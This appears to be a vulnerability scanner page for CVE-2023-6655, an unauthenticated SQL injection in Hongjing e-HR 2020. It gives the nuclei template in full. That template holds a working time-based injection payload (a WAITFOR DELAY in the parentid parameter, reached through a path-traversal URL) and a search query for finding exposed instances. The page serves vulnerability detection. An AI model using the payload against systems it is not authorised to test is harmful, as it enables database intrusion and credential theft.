Hongjing e-HR 2020 - SQL Injection

highseverity

7.3CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

A vulnerability, which was classified as critical, has been found in Hongjing e-HR 2020. Affected by this issue is some unknown functionality of the file /w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree of the component Login Interface. The manipulation of the argument parentid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-247358 is the identifier assigned to this vulnerability.

Impact

Unauthenticated attackers can execute arbitrary SQL queries via the parentid parameter, potentially extracting sensitive database information including user credentials.

Fix

Update Hongjing e-HR to a version newer than 2020 that addresses this SQL injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: status_code == 200 and contains(body, '/hcm/themes/')
Send: GET /w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree?isroot=child&parentid=1%27%3BWAITFOR+DELAY+%270%3A0%3A6%27--&kind=2&catalog_id=…
Positive when: duration >= 6

Run it with nuclei: nuclei -id CVE-2023-6655 -u <target>

The full check

id: CVE-2023-6655

info:
  name: Hongjing e-HR 2020 - SQL Injection
  author: pussycat0x
  severity: high
  description: |
    A vulnerability, which was classified as critical, has been found in Hongjing e-HR 2020. Affected by this issue is some unknown functionality of the file /w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree of the component Login Interface. The manipulation of the argument parentid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-247358 is the identifier assigned to this vulnerability.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries via the parentid parameter, potentially extracting sensitive database information including user credentials.
  remediation: |
    Update Hongjing e-HR to a version newer than 2020 that addresses this SQL injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6655
    - https://github.com/Gent5698/vulnerability/blob/main/%E5%AE%8F%E6%99%AF/CVE-2023-6655/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2023-6655
    cwe-id: CWE-89
    epss-score: 0.03735
    epss-percentile: 0.89927
    cpe: cpe:2.3:a:hrp2000:e-hr:2020:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: hrp2000
    product: e-hr
    fofa-query: title="人力资源信息管理系统"
  tags: cve,cve2023,hjsoft,management-system,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '/hcm/themes/')"
        condition: and
        internal: true

  - raw:
      - |
        GET /w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree?isroot=child&parentid=1%27%3BWAITFOR+DELAY+%270%3A0%3A6%27--&kind=2&catalog_id=11&issuperuser=111&manageprive=111&action=111&target= HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate

    matchers:
      - type: dsl
        dsl:
          - "duration >= 6"

References

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